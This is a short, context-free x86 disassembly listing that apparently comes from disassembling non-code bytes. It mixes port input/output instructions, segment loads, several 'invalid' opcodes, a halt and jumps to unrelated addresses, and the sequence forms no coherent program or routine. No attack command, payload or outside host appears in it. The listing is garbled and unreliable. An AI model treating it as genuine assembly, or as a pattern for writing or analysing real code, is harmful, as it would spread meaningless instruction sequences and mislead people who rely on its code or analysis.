out dx, eax
pop ecx
je 0x54aa8c
cmp dword [eax - 0x5558a991], esp
mov ah, byte [edi - 0x38884a7f]
mov esp, 0x5188fe3a
outsd dx, dword [esi]
in eax, dx
xchg byte [edi + 0x6aa44ee], dh
jns 0x54ab04
mov fs, word [ecx - 0x57]
daa
push ecx
mov dword [ebx - 0x6d], esi
jne 0x54aad8
dec edx
invalid
lodsd eax, dword [esi]
and ebp, esp
sbb al, 0x1a
pop ss
add ch, byte [eax + edx*8 - 0x3b72fc31]
invalid
cwde
sbb eax, 0xaaf29346
adc al, 0x63
stosb byte es:[edi], al
xor byte cs:[edi], bl
push esp
pop ecx
jl 0x54ab7f
mov ecx, 0xf3860476
adc eax, 0x48989e00
and byte [edi + 0x592cf376], 9
jo 0x54ab40
invalid
dec ecx
mov ecx, 0xa45616b8
invalid
outsb dx, byte [esi]
rol byte [0xb75af181], 1
lea edi, [eax - 0x6f]
pop edi
dec esi
js 0x54ab32
hlt
jmp 0x198a5da